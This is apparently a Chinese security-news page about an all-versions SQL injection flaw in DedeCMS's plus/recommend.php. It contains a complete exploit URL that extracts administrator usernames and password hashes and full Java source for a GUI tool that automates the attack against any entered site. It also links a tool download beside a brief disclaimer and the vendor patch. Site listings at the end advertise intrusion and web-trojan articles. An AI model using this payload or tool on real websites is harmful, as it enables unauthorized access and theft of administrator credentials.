php开源网站内容管理系统:dedecms存在sql注入漏洞
dedecms即织梦(PHP开源网站内容管理系统)。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。
近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,相关利用代码如下:
EXP:
复制代码
代码如下:
http://*.*.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` 1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111
直接获取就可以得到管理员的用户名与加密后的密码,效果如下图所示
利用工具源码(by 园长):
复制代码
代码如下:
package org.javaweb.dede.ui;
import java.awt.Toolkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
*
* @author yz
*/
public class MainFrame extends javax.swing.JFrame {
private static final long serialVersionUID = 1L;
/**
* Creates new form MainFrame
*/
public MainFrame() {
initComponents();
}
public String request(String url){
String str = "",tmp;
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));
while((tmp=br.readLine())!=null){
str+=tmp+"\r\n";
}
} catch (Exception e) {
jTextArea1.setText(e.toString());
}
return str;
}
private void initComponents() {
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTextArea1 = new javax.swing.JTextArea();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("URL:");
jTextField1.setText("http://localhost");
this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");
int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);
jButton1.setText("获取");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jTextArea1.setColumns(20);
jTextArea1.setRows(5);
jScrollPane1.setViewportView(jTextArea1);
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
pack();
}//
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
String url = jTextField1.getText();
if(null==url||"".equals(url)){
return ;
}
String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%201,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
Matcher m = Pattern.compile("
(.*)
").matcher(result);
if(m.find()){
String[] s = m.group(1).split("\\|");
if(s.length>2){
jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));
}
}
}
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainFrame().setVisible(true);
}
});
}
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTextArea jTextArea1;
private javax.swing.JTextField jTextField1;
// End of variables declaration
}
利用工具下载地址 http://pan.baidu.com/s/1i37LUnF (本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!)
dedecms官方补丁地址: http://www.dedecms.com/pl/
mcafee企业版阻止入侵者创建删除用户和修改密码?
利用McAfee策略让入侵者无法创建用户+无法删除用户+无法改密码的设置方法,强烈建议win2003使用mcafee杀毒软件,其它的都不如这个好。让入侵者无法创建用户+无法删除用户+无法改密码1、打开控制台-访问保护-用户
详情2018-01-20 14:46:49责编:llp 来源:驱动管家为你介绍防arp攻击的方法 防arp攻击图解
为了解决这一问题,请广大用户使用下列方法,避免再次受到攻击。具体方法如下:1. 打开电脑的启动项目录。具体操作是点击“开始”→“程序” →“启动”右键单击选择“打开所有用户”。如图:2.将出
详情2018-01-23 20:19:55责编:llp 来源:驱动管家六种入侵批处理程序代码 怎么自动挂马改主页?
DOS批处理就是,将一些之前预备好的需要多次统一运行的DOS命令写在一起,每次只要输入一次批处理就可以达到将其包含的所有DOS命令排头输入一遍的效果,这样就可以大大的节省时间提高效率。下面为大家介绍六种入侵
详情2018-02-03 10:57:13责编:llp 来源:驱动管家html5安全策略的补充内容 html5安全策略的改进之处
HTML5对旧有的安全策略进行了非常多的补充。一、iframe沙箱HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作,例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。但是这个安全
详情2018-02-06 15:51:06责编:llp 来源:驱动管家直接访问的功能和工作原理是什么?
Direct Access讲远程访问带入了一个新的境界,它可以实现企业员工可以随时随时随地的进行远程接入,不在受传统的接入方式的限制,DirectAccess 服务器承担了网关的角色,连接内网和外网之间,甚至当DirectAcces
详情2018-02-08 19:24:16责编:llp 来源:驱动管家保证数据安全需要做哪些事?哪些文件需要加密?怎么加密?
【编者按:生活中我们总会面对各种各样的数据,对于那些需要保密的数据我们会选择各类的加密方法。那么对于使用办公软件制作的文稿、表格、演示文稿和数据库我们如何加密呢?】在日常工作中,我们经常用一些办公
详情2018-01-25 10:19:10责编:llp 来源:驱动管家什么是正向连接木马?什么是反弹连接木马?
目前常见的木马有三种 正向连接木马 反弹连接木马 收信木马正向连接木马,所谓正向,就是在中马者在机器上开个端口,而我们去连接他的端口。而我们要知道他的IP,才能够连接他。123就是他机器上开的端口由于到
详情2018-02-14 08:51:30责编:llp 来源:驱动管家如何进入数据库抓包备份数据?入侵网站备份数据的方法
这是我之前在绿色兵团时写的一篇文章,是我自己原创的,思路借鉴了一篇t00ls里的,进行了改进。我在绿色兵团的账号名字也是leisureforest真实性毋庸置疑,希望给过。thanks地址(仅用于替代目标网站,非本站)又是
详情2018-02-13 15:04:06责编:llp 来源:驱动管家入侵linux系统网站的报告,教你如何入侵网站
我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那
详情2018-02-24 17:27:38责编:llp 来源:驱动管家关闭135 445端口该怎么做?关闭135 445端口的步骤
135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。端口说明:135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件
详情2018-01-14 14:03:30责编:llp 来源:驱动管家
- 服务器设置php的安全问题 如何实现网站安全的最大化?
- teamviewer商业版怎么转成个人版延长免费使用时间?
- 压缩文件不小心损坏怎么办?压缩文件修复的方法步骤
- 笔记本重装系统之后笔记本摄像头不能用的原因是什么?怎么解决
- 监控摄像头怎么安装?安装监控摄像头的步骤
- 苹果新专利:“双显示设备”,或用在MacBook系列产品
- 三星确认于今年下半年推出Bixby智能音箱
- Uber将投身于新领域:公共交通出行方式整合或成新风口?
- web服务器配置的方法是什么?web服务器配置步骤
- 电脑遇到蓝屏代码0x0000007b的原因是什么?怎么解决
- 三星手机怎么打开省电模式?三星手机设置省电模式的步骤
- iphone越狱出现多屏互动和快播非法提示的现象怎么办?
- 电脑弹出提示“windows延缓写入失败” 有什么解决方法
- 百度文库的文章能不能直接复制?怎么复制百度文库的内容
- 一些php手工注入语句 手工注射时出现问题怎么办?
- 网页挂马有哪些?什么是htm文件挂马?
- WinPE系统怎么安装SATA驱动?看看这个方法
- 巧设密码保质期让文件自动加密解密无需反复的输入密码
- 压缩包如何进行加密?压缩包加密的具体方法
- 电脑的外置摄像头不能用是什么原因?怎么解决